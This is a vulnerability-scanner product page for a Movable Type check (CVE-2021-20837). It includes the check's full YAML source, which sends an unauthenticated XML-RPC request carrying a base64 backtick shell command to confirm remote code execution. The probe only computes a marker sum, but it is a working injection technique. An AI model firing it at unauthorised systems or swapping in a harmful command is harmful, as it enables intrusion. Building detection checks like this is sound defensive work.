Movable Type — 1 vulnerability check

noctis ships 1 vulnerability check for Movable Type, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Movable Type mt-xmlrpc.cgi command injection

CVECVE-2021-20837
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/movabletype/CVE-2021-20837.yaml

Posts an unauthenticated XML-RPC mt.handler_to_coderef call to mt-xmlrpc.cgi whose base64 argument is a backtick command printing NOCTIS followed by the sum of two random numbers computed by the server shell. Finding that exact sum, never sent in the request, in the XML-RPC reply confirms command execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /mt/mt-xmlrpc.cgi with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks resp.body for NOCTIS[0-9]{7} → finding QoD 97: XML-RPC mt.handler_to_coderef with base64 `printf NOCTIS;expr … + …` returned the shell-computed marker … at …:…

References:

Feed source — tests/vulnerabilities/movabletype/CVE-2021-20837.yaml
uid: e7c0e8aa-26d4-46e0-b803-945834433b4a
name: "CVE-2021-20837 — Movable Type mt-xmlrpc.cgi command injection (CVSS 9.8)"
description: |
  Posts an unauthenticated XML-RPC mt.handler_to_coderef call to mt-xmlrpc.cgi whose
  base64 argument is a backtick command printing NOCTIS followed by the sum of two
  random numbers computed by the server shell. Finding that exact sum, never sent in
  the request, in the XML-RPC reply confirms command execution.
cves: [CVE-2021-20837]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [movabletype, xmlrpc, rce, command-injection]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-20837"
  - "OpenVAS NASL 2021/sixapart/gb_movable_type_rce_vuln_oct21_active.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2021/sixapart/gb_movable_type_rce_vuln_oct21_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# mt-xmlrpc.cgi handler_to_coderef allows unauthenticated command exec.
steps:
  # The handler name is eval'ed by Perl, so `cmd` runs through /bin/sh and its
  # output lands in the XML-RPC reply. Perl backticks interpolate like a
  # double-quoted string ($( is the real-GID variable), so the command holds
  # no "$": printf NOCTIS;expr A + B prints NOCTIS<A+B>. Only the shell-computed sum proves
  # execution; a reply that echoes the request, or serves passwd for every
  # request, cannot contain it.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b),
         b64: base64_encode("`printf NOCTIS;expr " + a + " + " + b + "`") }

  - id: init
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: probe
    action: http_request
    method: POST
    path: "/mt/mt-xmlrpc.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml; charset=UTF-8"
    body: '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>mt.handler_to_coderef</methodName><params><param><value><base64>{{p.b64}}</base64></value></param></params></methodCall>'
    store_as: resp

  - id: check
    action: script
    store_as: hit
    code: |
      type_of(resp.body) == "string" && stridx(resp.body, p.marker) >= 0

  - id: detect
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "XML-RPC mt.handler_to_coderef with base64 `printf NOCTIS;expr {{p.a}} + {{p.b}}` returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub